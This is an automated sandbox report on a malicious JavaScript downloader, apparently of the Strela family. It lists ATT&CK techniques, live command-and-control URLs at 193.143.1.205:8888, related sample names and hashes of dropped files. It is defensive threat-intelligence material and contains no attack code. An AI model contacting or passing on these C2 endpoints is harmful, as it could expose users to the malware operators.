Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	31 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	22 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
334130052300215064.js	0%	ReversingLabs

Source	Detection	Scanner	Label
http://193.143.1.205:8888/space	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/X	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/p	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/D	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	high
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	217.20.57.19	true	false	high
x1.i.lencr.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205:8888/X	net.exe, 00000007.00000002.1441354534.000001D218DC4000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/Prod.C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 00000009.00000003.1447097046.0000011A1B200000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
https://www.adobe.co	ReaderMessages.5.dr	false		high
http://193.143.1.205:8888/D	net.exe, 00000007.00000002.1441354534.000001D218DC4000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/p	net.exe, 00000007.00000002.1441354534.000001D218DC4000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000007.00000002.1441354534.000001D218DC4000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1441354534.000001D218D88000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/space	net.exe, 00000007.00000002.1441354534.000001D218D88000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587744
Start date and time:	2025-01-10 17:31:05 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 23s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	334130052300215064.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/57@3/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 162.159.61.3, 172.64.41.3, 34.237.241.83, 50.16.47.176, 54.224.241.105, 18.213.11.84, 217.20.57.19, 2.23.242.162, 23.209.209.135, 2.16.168.107, 2.16.168.105, 13.107.246.45, 20.109.210.53, 52.22.41.97, 104.78.188.188, 52.149.20.212
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, otelrules.afd.azureedge.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, azureedge-t-prod.trafficmanager.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: 334130052300215064.js

Simulations

Behavior and APIs

Time	Type	Description
11:32:11	API Interceptor	22x Sleep call for process: powershell.exe modified
11:32:15	API Interceptor	1x Sleep call for process: net.exe modified
11:32:16	API Interceptor	2x Sleep call for process: svchost.exe modified
11:32:24	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	22977297631246330149.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	10266121931448610316.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	489131343024428850.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	25917225161220417691.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	51406528193621400.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	32474162872806629906.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	28091322483050023072.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	23268167561217715617.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2045514992161325262.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1936930021252095876.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
s-part-0017.t-0009.t-msedge.net	http://infarmbureau.com	Get hash	malicious	Unknown	Browse	13.107.246.45
	489131343024428850.js	Get hash	malicious	Strela Downloader	Browse	13.107.246.45
	zAK7HHniGW.exe	Get hash	malicious	Snake Keylogger	Browse	13.107.246.45
	8nkdC8daWi.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	13.107.246.45
	lExtvSjBgq.exe	Get hash	malicious	FormBook	Browse	13.107.246.45
	Axvn7Hegxc.exe	Get hash	malicious	Unknown	Browse	13.107.246.45
	tx4pkcHL9o.exe	Get hash	malicious	MassLogger RAT	Browse	13.107.246.45
	raq4ttncJF.exe	Get hash	malicious	FormBook	Browse	13.107.246.45
	WF2DL1l7E8.exe	Get hash	malicious	FormBook	Browse	13.107.246.45
	Play_VM-NowTingrammAudiowav011.html	Get hash	malicious	Unknown	Browse	13.107.246.45
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	22977297631246330149.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.36
	hy09j7Q8kJ.exe	Get hash	malicious	FormBook	Browse	217.20.57.35
	489131343024428850.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.34
	32474162872806629906.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.39
	2045514992161325262.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.43
	18559217651387524988.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.38
	18607323151113325657.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.35
	289215992948720779.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.21
	1947415746274847548.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.18
	OTTIMAX RFQ BID1122263.xlsx	Get hash	malicious	Unknown	Browse	84.201.210.39

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	22977297631246330149.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	199708044356824138.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	10266121931448610316.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	18938150912509528417.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	489131343024428850.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	25917225161220417691.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	51406528193621400.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	32474162872806629906.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1697943393056527466.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	28091322483050023072.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.800807903257521
Encrypted:	false
SSDEEP:	1536:CJD1YBdWK7S50AhnZ0Ag0ALzJVEbJBJlPVPEH3cNkPfF7Njg9QaQfOgFrGXuE5T/:CJC5rk0X+MbJ72D4qgfiaDhvO7VMBfc
MD5:	10D59901FD86E9946078AA5D07FAA57C
SHA1:	B30DEC101DE7D3ABA8029BD1CFC0052E1681A191
SHA-256:	4CAEDA60050E8059FC37D9C9DCCAC0F22974D3E6CA4072C1FF030D719593E0E2
SHA-512:	204B7EC92403FCF7D7ED8E050FF1AEF991B1D3E456349CB2CDB3C4E98BC07B8242527B8186EB93A7590BFE6E51531965AD3301785D4438918B5CDFB5AC358A1B
Malicious:	false
Preview:	dg".........@..@%9...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@....................................T.....#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xcef578ee, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7715492491330952
Encrypted:	false
SSDEEP:	1536:jSB2ESB2SSjlK/7vqlC06Z546I50AEzJ+Ykr3g16XWq2UPkLk+kFLKho38o38+W6:jaza9vqcHbrq2UyUVWlW
MD5:	A6BB7EBAD0225C4ECF33459EABE8016A
SHA1:	A8B96C3005150F45801F76B1FD09B62668B04F4D
SHA-256:	1895C4D51EF6035D8BD9AFD051F232A9510C6BF541542EF3F4E82D11DA7E5E50
SHA-512:	DE639745A187CC28D314D092559356056CFA67136662875ED117AD1D263A1DF1EBC718EA940A629C3B2300636C9844A75724DF0DFB4895D574FE7B551741B9E9
Malicious:	false
Preview:	..x.... ...............X\...;...{......................0.p.....#....{... ...}u.h.r.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......%9...{...............................................................................................................................................................................................2...{...................................e... ...}...................\|... ...}u..........................#......h.r.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08114620327452955
Encrypted:	false
SSDEEP:	3:Rm1KYeCXKGrgG08qrrvr+gvrr/crw4lXallVmctlll/Sm1l1:A1KzMNlrgn/cEoeLPPv
MD5:	5BE049C81230DC1E1733E54F9DAF6B91
SHA1:	1502EDBC3398ACD0C69D32361A6960A2312007C3
SHA-256:	78094CA41F34DA93FD0125C6D712E1A0AD65CF469FBEC84FB39E319206246344
SHA-512:	891F8D09C645B94BB6D8AFB7491C55273ACCF7A139741ACFF33DCDC52996FBD0FA6882B20FBE812206027D418F45A1E7C7FC73E2369E4D34AB5309F1D7FCDE2C
Malicious:	false
Preview:	...Z.....................................;...{... ...}u.#....{..........#....{..#....{...i..#....{.V.................\|... ...}u.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.143836915714242
Encrypted:	false
SSDEEP:	6:iO4PfU0Vlq2PsZ2nKuAl9OmbnIFUtSPfU0jwZmwsPfU0j4kwOsZ2nKuAl9OmbjLJ:7k80fvkcHAahFUta80jw/A80j451cHAR
MD5:	EEDEB736C294C8BE7A9261DA8F7B0491
SHA1:	9CDA2E4DC11423A958637BB4566CCF4D7F78CDA6
SHA-256:	FF54D62714054638C03FADA9516C1E876C27F0BCBC30FCCB2D65B6ED4F82CC04
SHA-512:	D48850199825F54D9F4D0F063C0D897C62A9CD93E702BDB9EC0E6CEF38545831E3D235CC19D0B2D524520FD537D1151F2B103D532CB45B15B577DCF83539B789
Malicious:	false
Preview:	2025/01/10-11:32:16.362 1fb0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-11:32:16.364 1fb0 Recovering log #3.2025/01/10-11:32:16.364 1fb0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.143836915714242
Encrypted:	false
SSDEEP:	6:iO4PfU0Vlq2PsZ2nKuAl9OmbnIFUtSPfU0jwZmwsPfU0j4kwOsZ2nKuAl9OmbjLJ:7k80fvkcHAahFUta80jw/A80j451cHAR
MD5:	EEDEB736C294C8BE7A9261DA8F7B0491
SHA1:	9CDA2E4DC11423A958637BB4566CCF4D7F78CDA6
SHA-256:	FF54D62714054638C03FADA9516C1E876C27F0BCBC30FCCB2D65B6ED4F82CC04
SHA-512:	D48850199825F54D9F4D0F063C0D897C62A9CD93E702BDB9EC0E6CEF38545831E3D235CC19D0B2D524520FD537D1151F2B103D532CB45B15B577DCF83539B789
Malicious:	false
Preview:	2025/01/10-11:32:16.362 1fb0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-11:32:16.364 1fb0 Recovering log #3.2025/01/10-11:32:16.364 1fb0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	333
Entropy (8bit):	5.198602894295885
Encrypted:	false
SSDEEP:	6:iO4PfUW+q2PsZ2nKuAl9Ombzo2jMGIFUtSPfUhXJZmwsPfU3FNVkwOsZ2nKuAl97:7k8XvkcHAa8uFUta8hXJ/A81z51cHAaU
MD5:	D8B9CC96C2DC8C37A6B9F70AEC29F4D6
SHA1:	B49434EF9E0140C9416C01AD4D7F59646F88847A
SHA-256:	7F506803974CAF7428E685F9D7BEB29F5E4EAB247AAA457A706256C9B9006B8E
SHA-512:	FDF3937BB2B0E439157FF142F0B12171177F678CCDCBBFFC148244A7C9152E4C6C58EECFBB3BAB7DEB4AF560092D1A13C320F5D8A5E448951562EB99D7FCBCF7
Malicious:	false
Preview:	2025/01/10-11:32:16.458 a78 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-11:32:16.459 a78 Recovering log #3.2025/01/10-11:32:16.460 a78 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	333
Entropy (8bit):	5.198602894295885
Encrypted:	false
SSDEEP:	6:iO4PfUW+q2PsZ2nKuAl9Ombzo2jMGIFUtSPfUhXJZmwsPfU3FNVkwOsZ2nKuAl97:7k8XvkcHAa8uFUta8hXJ/A81z51cHAaU
MD5:	D8B9CC96C2DC8C37A6B9F70AEC29F4D6
SHA1:	B49434EF9E0140C9416C01AD4D7F59646F88847A
SHA-256:	7F506803974CAF7428E685F9D7BEB29F5E4EAB247AAA457A706256C9B9006B8E
SHA-512:	FDF3937BB2B0E439157FF142F0B12171177F678CCDCBBFFC148244A7C9152E4C6C58EECFBB3BAB7DEB4AF560092D1A13C320F5D8A5E448951562EB99D7FCBCF7
Malicious:	false
Preview:	2025/01/10-11:32:16.458 a78 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-11:32:16.459 a78 Recovering log #3.2025/01/10-11:32:16.460 a78 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	476
Entropy (8bit):	4.970537356844958
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqBsBdOg2HKcaq3QYiubPyP7E4T3y:Y2sRdsbdMHl3QYhbC7nby
MD5:	D3968C53642ECF1975E705E09FFF58CB
SHA1:	43B2C36DCE4C83213C0BF9EE8E2FD13219E5789C
SHA-256:	CBDBE3060B8BC61A99CEF9A63E4C7C0109384F884BE5972F0F0778955C843A0C
SHA-512:	9AC194589A22D41BA097A917279EDD98EA46FA505D2012829146B3A05A981CADE213CDB3D57FDA59F12AE6EB0968BCA3B14FB4194C86726B3CB21C420596A41B
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381086747495399","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":144254},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.11","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\dec89821-e5aa-4cca-a09f-178bae870cd5.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	476
Entropy (8bit):	4.970537356844958
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqBsBdOg2HKcaq3QYiubPyP7E4T3y:Y2sRdsbdMHl3QYhbC7nby
MD5:	D3968C53642ECF1975E705E09FFF58CB
SHA1:	43B2C36DCE4C83213C0BF9EE8E2FD13219E5789C
SHA-256:	CBDBE3060B8BC61A99CEF9A63E4C7C0109384F884BE5972F0F0778955C843A0C
SHA-512:	9AC194589A22D41BA097A917279EDD98EA46FA505D2012829146B3A05A981CADE213CDB3D57FDA59F12AE6EB0968BCA3B14FB4194C86726B3CB21C420596A41B
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381086747495399","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":144254},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.11","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4553
Entropy (8bit):	5.238000782602158
Encrypted:	false
SSDEEP:	96:odxquQuhxqVAq0Czrh6CzxtSzK3/tjsqnlfjejy4XOlPXflGlqXN:oqupGVTbzrhtzxtSzK3/dRnlLejyE4vh
MD5:	599917825765321F216DD860F089D0DD
SHA1:	B804918D55E9CC84980F873D71798720A031561E
SHA-256:	683CF2B369E14FFF61517BFB1C6C9271E338F20C580B03F5044FEC604FD2944B
SHA-512:	C43EDFAD4D5339E1A9772D60B871C34C71DEE6D7F1438992B984A7FDA981BAC1C7CEFE1586EF304DB2B7C5C4CC533C8C65D69D56A5A4E63144985F891904E152
Malicious:	false
Preview:	*...#................version.1..namespace-n.X.o................next-map-id.1.Pnamespace-8da8a5d4_15b5_4830_8c1c_ca066d0e12ed-https://rna-resource.acrobat.com/.0gKY.r................next-map-id.2.Snamespace-81b0e21e_1c2a_4917_a98d_db6892e18c4b-https://rna-v2-resource.acrobat.com/.1^b..r................next-map-id.3.Snamespace-181ade60_1d4c_4d63_87fe_e85b67c781b7-https://rna-v2-resource.acrobat.com/.2....o................next-map-id.4.Pnamespace-73e7b78c_6cea_4091_906b_b0f0cc6a8ce0-https://rna-resource.acrobat.com/.3C[.[^...............Pnamespace-8da8a5d4_15b5_4830_8c1c_ca066d0e12ed-https://rna-resource.acrobat.com/D..B^...............Pnamespace-73e7b78c_6cea_4091_906b_b0f0cc6a8ce0-https://rna-resource.acrobat.com/..Ga...............Snamespace-181ade60_1d4c_4d63_87fe_e85b67c781b7-https://rna-v2-resource.acrobat.com/.;0ca...............Snamespace-81b0e21e_1c2a_4917_a98d_db6892e18c4b-https://rna-v2-resource.acrobat.com/.\.go................next-map-id.5.Pnamespace-5e456334_9beb_4082_9dbc_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.2134503336937374
Encrypted:	false
SSDEEP:	6:iO4PfUk+q2PsZ2nKuAl9OmbzNMxIFUtSPfUoJZmwsPfUo9VkwOsZ2nKuAl9OmbzE:7k85vkcHAa8jFUta86/A8G51cHAa84J
MD5:	391F2DECD3EAEB9941EEBF7655A2489C
SHA1:	81C3B6B8B85E0B2C07C6FD482C4BB530002F958F
SHA-256:	203D0BE2C8B60B587C78252170CD5413ABD018946E86EFDCCC57CC87EC0D9722
SHA-512:	4027CB2A8A13F463EC08578C4F07FF691D608264E880B7F031877BA1FD7C543BB5031A6D6AD46404A19D177637DA1854FDA12B932B83086A43B3BB76F5D61EB4
Malicious:	false
Preview:	2025/01/10-11:32:16.492 a78 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-11:32:16.494 a78 Recovering log #3.2025/01/10-11:32:16.494 a78 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.2134503336937374
Encrypted:	false
SSDEEP:	6:iO4PfUk+q2PsZ2nKuAl9OmbzNMxIFUtSPfUoJZmwsPfUo9VkwOsZ2nKuAl9OmbzE:7k85vkcHAa8jFUta86/A8G51cHAa84J
MD5:	391F2DECD3EAEB9941EEBF7655A2489C
SHA1:	81C3B6B8B85E0B2C07C6FD482C4BB530002F958F
SHA-256:	203D0BE2C8B60B587C78252170CD5413ABD018946E86EFDCCC57CC87EC0D9722
SHA-512:	4027CB2A8A13F463EC08578C4F07FF691D608264E880B7F031877BA1FD7C543BB5031A6D6AD46404A19D177637DA1854FDA12B932B83086A43B3BB76F5D61EB4
Malicious:	false
Preview:	2025/01/10-11:32:16.492 a78 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-11:32:16.494 a78 Recovering log #3.2025/01/10-11:32:16.494 a78 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 11, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.4383060204706055
Encrypted:	false
SSDEEP:	384:yeCci5GxiBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:N9urVgazUpUTTGt
MD5:	CEB8497D383DCF63F94960BF5C54B286
SHA1:	717DA667D3BB64FD4960E2F46A306F88C9CF9A32
SHA-256:	41BDA11CF914F9CAC6D224DF175C827F48EFA71D35118F3B8DCEAB290E4A5969
SHA-512:	1148AEE4352F5BAF7D2FAD840CB2F0017EDAFA88F15EC2C73532AFDBDCA56D06DF546D91583DC7F1ACD854E164C4D1A65731B6034B2A4323F5381390D8A996A8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.7646402880241716
Encrypted:	false
SSDEEP:	48:7McJioyVyioyMoy1C7oy16oy1wKOioy1noy1AYoy1Wioy1oioykioyBoy1noy1O/:7XJuyIDXjBi5vb9IVXEBodRBkG
MD5:	48632627681A08740865C7BF97609E27
SHA1:	3BD0AB19F3EF78B44B03F711C1F67FDAD9D5250B
SHA-256:	6C4294AD2A25B5F71C19BF339E7F76AEF25828F1CB89570657FC0B3D9FB6FB58
SHA-512:	F0BEE3E4C35EA12750BE941EC0EC97246E06F38B0755E0279B2C02F272F3487C08C061304E9CC75AA183DA2B7AF4E56713964B0D99FC854F5AAED34A1D63B62E
Malicious:	false
Preview:	.... .c......ZE................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b.r.l...t...}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
